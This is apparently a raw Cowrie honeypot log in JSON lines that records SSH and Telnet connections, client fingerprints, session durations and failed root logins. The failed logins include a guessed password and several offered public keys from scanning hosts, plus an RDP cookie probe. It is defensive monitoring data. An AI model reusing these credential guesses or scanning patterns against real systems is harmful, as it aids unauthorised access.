{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:12.847251Z","src_ip":"124.109.2.211","session":"ae47a8d846f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:13.151618Z","src_ip":"109.172.54.111","session":"7f4553a09dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4cb388e7ccf","protocol":"telnet","message":"New connection: 152.42.224.71:44622 (10.17.0.5:23) [session: b4cb388e7ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:13.204577Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz147369","message":"login attempt [root/Qaz147369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:13.871554Z","src_ip":"124.109.2.211","session":"ae47a8d846f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:15.141049Z","src_ip":"124.109.2.211","session":"ae47a8d846f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51600,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de527181d2e","protocol":"ssh","message":"New connection: 167.172.81.52:51600 (159.203.135.109:22) [session: 9de527181d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:16.740739Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:16.745229Z","src_ip":"167.172.81.52","session":"9de527181d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:16.748619Z","src_ip":"167.172.81.52","session":"9de527181d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52972,"dst_ip":"10.17.0.5","dst_port":23,"session":"718ee1490dc7","protocol":"telnet","message":"New connection: 152.42.224.71:52972 (10.17.0.5:23) [session: 718ee1490dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:18.772385Z"}
{"eventid":"cowrie.session.closed","duration":120.0040192604065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:21.263620Z","src_ip":"152.42.224.71","session":"646595cea357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.63016629219055,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:22.500825Z","src_ip":"152.42.224.71","session":"80714824e0d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45960,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a3d1a46864","protocol":"telnet","message":"New connection: 152.42.224.71:45960 (10.17.0.5:23) [session: 96a3d1a46864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:29.602303Z"}
{"eventid":"cowrie.session.closed","duration":51.25061583518982,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:36.890666Z","src_ip":"152.42.224.71","session":"0d6d21b41456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.05488061904907,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:37.922931Z","src_ip":"152.42.224.71","session":"5b0670b2df60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54396,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b1ce6217f9","protocol":"telnet","message":"New connection: 152.42.224.71:54396 (10.17.0.5:23) [session: b1b1ce6217f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:42.292341Z"}
{"eventid":"cowrie.session.closed","duration":30.855250358581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:44.059746Z","src_ip":"152.42.224.71","session":"b4cb388e7ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00221538543701,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:45.141508Z","src_ip":"152.42.224.71","session":"3db366425c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.206.178","src_port":34068,"dst_ip":"10.17.0.5","dst_port":22,"session":"4681220c387e","protocol":"ssh","message":"New connection: 89.163.206.178:34068 (10.17.0.5:22) [session: 4681220c387e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:46.701167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:46.705808Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:46.797028Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:32:c5:90:6f:bd:c4:f9:95:29:b8:53:91:68:cf:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/nNZ8wniHJaJjnh3LM9CALJO7eQbVooZcufVNykdBHSECgpftQIl3frlRuSTSf625dwyfsDrG99aRogOGi5bVjfWLiWTP7rMZi+P+dkujQGbZGb/sJN2aziGy9hZWudbvTwYWWsTwJL1aYy38F/XEM8PdZbAnidkTFS8QjSlJWi/unp2glym36onA6Mf0h0w1armQIGJUDr3Krc7cj7/WwQRXaScM/fkUIgE/xKRdYrFbxVHaQ3oS+8gCIpX/KrYdteR8RYRxBvPHB2EIKSGOGDvAAbhMwdB+3BS3xl/SgNmxeM8OmItNfj1ZG8z6rErlOv/qSgFTKPoNqfTrXLdP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:32:c5:90:6f:bd:c4:f9:95:29:b8:53:91:68:cf:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.231023Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:32:c5:90:6f:bd:c4:f9:95:29:b8:53:91:68:cf:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/nNZ8wniHJaJjnh3LM9CALJO7eQbVooZcufVNykdBHSECgpftQIl3frlRuSTSf625dwyfsDrG99aRogOGi5bVjfWLiWTP7rMZi+P+dkujQGbZGb/sJN2aziGy9hZWudbvTwYWWsTwJL1aYy38F/XEM8PdZbAnidkTFS8QjSlJWi/unp2glym36onA6Mf0h0w1armQIGJUDr3Krc7cj7/WwQRXaScM/fkUIgE/xKRdYrFbxVHaQ3oS+8gCIpX/KrYdteR8RYRxBvPHB2EIKSGOGDvAAbhMwdB+3BS3xl/SgNmxeM8OmItNfj1ZG8z6rErlOv/qSgFTKPoNqfTrXLdP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.234638Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:2f:ce:0c:3a:59:96:c1:1b:3b:72:ae:68:f7:ee:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4FDxl9qaPU/CiCEni2Ozg80G4FLuyAhCdd97CX7QbooWMas2a3X4JAsNLChNalXDBZvrTSDBkP4F22wbF8WI9Tfy3tKSlD3hoUNQe4wUlduf4xfZYYfCKKVp0Y7iTH5irMNWY3iJ5HsFkTBuSUUgyDquLu+tnXhTzYnI1P4WanacHNrKP+9U/xg96ug0OnP5SXuAUBpZdKe6R0+W/1rXr4T/m4LT783fQwjX8ZMGlBPAUOPfcDeOC/zlcV6U1gsBMAcbFEb9FGJFfqgVwuhFrKJTuEeCdyGm7+l+IDUB1FrtHvvhRe1nLNlyTciovw4WBpIKv6YQQRI9CaNWRxYnl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:2f:ce:0c:3a:59:96:c1:1b:3b:72:ae:68:f7:ee:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.328687Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:2f:ce:0c:3a:59:96:c1:1b:3b:72:ae:68:f7:ee:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4FDxl9qaPU/CiCEni2Ozg80G4FLuyAhCdd97CX7QbooWMas2a3X4JAsNLChNalXDBZvrTSDBkP4F22wbF8WI9Tfy3tKSlD3hoUNQe4wUlduf4xfZYYfCKKVp0Y7iTH5irMNWY3iJ5HsFkTBuSUUgyDquLu+tnXhTzYnI1P4WanacHNrKP+9U/xg96ug0OnP5SXuAUBpZdKe6R0+W/1rXr4T/m4LT783fQwjX8ZMGlBPAUOPfcDeOC/zlcV6U1gsBMAcbFEb9FGJFfqgVwuhFrKJTuEeCdyGm7+l+IDUB1FrtHvvhRe1nLNlyTciovw4WBpIKv6YQQRI9CaNWRxYnl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.331997Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:6a:ab:9f:64:28:3d:a6:09:8c:cc:dd:a0:20:d0:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtppBvcDIWTLqfba4cEIH/CKTRHbaGKB5y4s74pmrqOod2LXMBlfBV+as8HpHH8HE1TTd/qvLzO3/ChFBe8N/oeH3A4uS90uuGVppKdD5X4VQ5ZPC0wk9Rgctw7r/HayTamoavDlJfzCjWyuLLXJR+ja6NxK6KbNm5QcI+RXQEGlki1Oehy0gr1LvZbfdXIeewLPI4qiMwOm+dd6zc3EMvegmg/5drOOp/be8KCm+0CgrKIfo42UFQjR5HVFaWgvbr7a9rxcQBOCwadxRdvoRtLkZIy0rh0V+48kXAbJJnX7m9P+oWj5+7eI3v0Gwofj+MISkf7mY5c6jgSKwinsPHZB0glL9fDvlUh4DaAHrSJu3Xv5Yadlkyx0823UnXq/RIjdeMCkLIZMnTq+yeqGEklWCjrg0s0FzgPAu1CrvngtX5zTi5nzKFSJuQIXaRD+PM8/QL5SDdhP+Y1HKYTZEvaZHt3zMbjsSngnftdbY5IsiY8ikA94heG4QoP1jTGkqXtXmEGJ+11HChLtZD4sXaDeb40Cx4JLI858eWH0mbMabvM1EmYlrJhpHpTSGfabytTK2S4f/Sm1QJcm8QngFPqYD66nzIsoXs3diLHcTgty8jnXgheRjTp/cVlI6oJrZLXMt8CuEDT7jsfHesZIpiySPU4tJQSU7g/JVDQOSsZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:6a:ab:9f:64:28:3d:a6:09:8c:cc:dd:a0:20:d0:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.427094Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:6a:ab:9f:64:28:3d:a6:09:8c:cc:dd:a0:20:d0:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtppBvcDIWTLqfba4cEIH/CKTRHbaGKB5y4s74pmrqOod2LXMBlfBV+as8HpHH8HE1TTd/qvLzO3/ChFBe8N/oeH3A4uS90uuGVppKdD5X4VQ5ZPC0wk9Rgctw7r/HayTamoavDlJfzCjWyuLLXJR+ja6NxK6KbNm5QcI+RXQEGlki1Oehy0gr1LvZbfdXIeewLPI4qiMwOm+dd6zc3EMvegmg/5drOOp/be8KCm+0CgrKIfo42UFQjR5HVFaWgvbr7a9rxcQBOCwadxRdvoRtLkZIy0rh0V+48kXAbJJnX7m9P+oWj5+7eI3v0Gwofj+MISkf7mY5c6jgSKwinsPHZB0glL9fDvlUh4DaAHrSJu3Xv5Yadlkyx0823UnXq/RIjdeMCkLIZMnTq+yeqGEklWCjrg0s0FzgPAu1CrvngtX5zTi5nzKFSJuQIXaRD+PM8/QL5SDdhP+Y1HKYTZEvaZHt3zMbjsSngnftdbY5IsiY8ikA94heG4QoP1jTGkqXtXmEGJ+11HChLtZD4sXaDeb40Cx4JLI858eWH0mbMabvM1EmYlrJhpHpTSGfabytTK2S4f/Sm1QJcm8QngFPqYD66nzIsoXs3diLHcTgty8jnXgheRjTp/cVlI6oJrZLXMt8CuEDT7jsfHesZIpiySPU4tJQSU7g/JVDQOSsZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.430995Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:6d:07:bc:3f:3c:10:90:f4:b0:51:c5:48:a4:0a:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdQA6oacIY3KSGVBmhe9LQOVcA5mo+dNQx4w4nB/rhAAKlpf8RJFrfxAhnU8mLYNZutEnTMRTfuv/ZT+bMZAFrw8eKo7HP+AcGGX2FKW+gQBWIsJEEN0Jf6cJvf9rwyfbD7Oggk0kMgJj9pdV5vmevmo5A6Nm1ueiMXeTQFeeQfWIfOZDrCTAmc2iDFCOY78CgdO7swrFIqu/f6T1XxkXgHBVXs810DZo8D9+jndn6+WqztXZTdDSQLCvAKKQC6iHbWDCUQqmPaRFe1rAFuPgoysEnMGaqCgWwetKILn154QTYr2VmMmhtibAsNfuOYXUBrjAF539cFVKC1i9VmoVLTA/NpE+ssx6G9qgT2PGNYq0LZDSGDb6aUBBpUVZ4dbBhbHnJg90EX/uHK1cgUWdXFIjINlP/7c/G8o9EaG3ppWq1RcLc/zfdHEgQAqBWUtLVBKR925WhKP+8IOPeco/4ORY806kFfsZUatBZFlMkEFeYEFARYN9bp3qtWQcK9w0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:6d:07:bc:3f:3c:10:90:f4:b0:51:c5:48:a4:0a:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.523174Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:6d:07:bc:3f:3c:10:90:f4:b0:51:c5:48:a4:0a:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdQA6oacIY3KSGVBmhe9LQOVcA5mo+dNQx4w4nB/rhAAKlpf8RJFrfxAhnU8mLYNZutEnTMRTfuv/ZT+bMZAFrw8eKo7HP+AcGGX2FKW+gQBWIsJEEN0Jf6cJvf9rwyfbD7Oggk0kMgJj9pdV5vmevmo5A6Nm1ueiMXeTQFeeQfWIfOZDrCTAmc2iDFCOY78CgdO7swrFIqu/f6T1XxkXgHBVXs810DZo8D9+jndn6+WqztXZTdDSQLCvAKKQC6iHbWDCUQqmPaRFe1rAFuPgoysEnMGaqCgWwetKILn154QTYr2VmMmhtibAsNfuOYXUBrjAF539cFVKC1i9VmoVLTA/NpE+ssx6G9qgT2PGNYq0LZDSGDb6aUBBpUVZ4dbBhbHnJg90EX/uHK1cgUWdXFIjINlP/7c/G8o9EaG3ppWq1RcLc/zfdHEgQAqBWUtLVBKR925WhKP+8IOPeco/4ORY806kFfsZUatBZFlMkEFeYEFARYN9bp3qtWQcK9w0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.526960Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:70:40:6f:17:88:6f:82:e8:8d:22:95:21:e2:14:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmcPlF9Nxs/wvsBVSxdLsFFIThISzimGuuI3ElaS0/GHxXveSzifoxO8XzqKuAES1qFJHeILrWpj2skYQVqE5EBP3ky0ly+v+6BujUT87cTA9s+uPB5AJs0U0ds75wBbJY8Qm9F3O6XV6WJGxleV06Z6Q60l/IzQd0psDeBrZm5OoNFMN8n+YDxW9gvyiAfn/egiSkFZoHYzEPIVF2whD7Zr9CbP6OfCyvgayueaynr0TYfZEypahJkNq0iD8eil9XZAic0byaq0r9P7aIWXXu9MYH6ZOqhZz75uE2ioTLU051bIetcf8xmzZdezCP5+c/2syOZpaKVso1tJtl5aFJQm9mhiLn7c7E1R+ftcszcNiyFGUlQz5k7xx029QkX+Cck5x39ZiASho9/WI1V7zt4uz3oA9WgoN6uywCW9TdavRmA79WgPlZ0MDyNjOsiVEPX00ylIG1mjDFnOpVe5H/nX44VA5doJijjhAj6N4Y7fGD2QM1Iulds4nI/M6f0H0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:70:40:6f:17:88:6f:82:e8:8d:22:95:21:e2:14:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.619048Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:70:40:6f:17:88:6f:82:e8:8d:22:95:21:e2:14:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmcPlF9Nxs/wvsBVSxdLsFFIThISzimGuuI3ElaS0/GHxXveSzifoxO8XzqKuAES1qFJHeILrWpj2skYQVqE5EBP3ky0ly+v+6BujUT87cTA9s+uPB5AJs0U0ds75wBbJY8Qm9F3O6XV6WJGxleV06Z6Q60l/IzQd0psDeBrZm5OoNFMN8n+YDxW9gvyiAfn/egiSkFZoHYzEPIVF2whD7Zr9CbP6OfCyvgayueaynr0TYfZEypahJkNq0iD8eil9XZAic0byaq0r9P7aIWXXu9MYH6ZOqhZz75uE2ioTLU051bIetcf8xmzZdezCP5+c/2syOZpaKVso1tJtl5aFJQm9mhiLn7c7E1R+ftcszcNiyFGUlQz5k7xx029QkX+Cck5x39ZiASho9/WI1V7zt4uz3oA9WgoN6uywCW9TdavRmA79WgPlZ0MDyNjOsiVEPX00ylIG1mjDFnOpVe5H/nX44VA5doJijjhAj6N4Y7fGD2QM1Iulds4nI/M6f0H0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.622849Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:47.715683Z","src_ip":"89.163.206.178","session":"4681220c387e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46138,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5d69645df7","protocol":"telnet","message":"New connection: 152.42.224.71:46138 (10.17.0.5:23) [session: dc5d69645df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:48.450512Z"}
{"eventid":"cowrie.session.closed","duration":9.49390959739685,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:51.786104Z","src_ip":"152.42.224.71","session":"b1b1ce6217f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00288105010986,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:54.003648Z","src_ip":"152.42.224.71","session":"8848cf7e40dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46142,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe334e169db","protocol":"telnet","message":"New connection: 152.42.224.71:46142 (10.17.0.5:23) [session: fbe334e169db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:28:55.796899Z"}
{"eventid":"cowrie.session.closed","duration":120.00865459442139,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:03.260187Z","src_ip":"152.42.224.71","session":"2152d276328e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133752822876,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:03.867615Z","src_ip":"152.42.224.71","session":"c7aad4631c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41490,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8a97cf4bac3","protocol":"telnet","message":"New connection: 152.42.224.71:41490 (10.17.0.5:23) [session: f8a97cf4bac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:04.062521Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56330,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd3f3f79b5d4","protocol":"ssh","message":"New connection: 89.223.69.22:56330 (159.203.135.109:22) [session: cd3f3f79b5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.209906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:29:08.214637Z","src_ip":"89.223.69.22","session":"cd3f3f79b5d4","protocol":"ssh"}
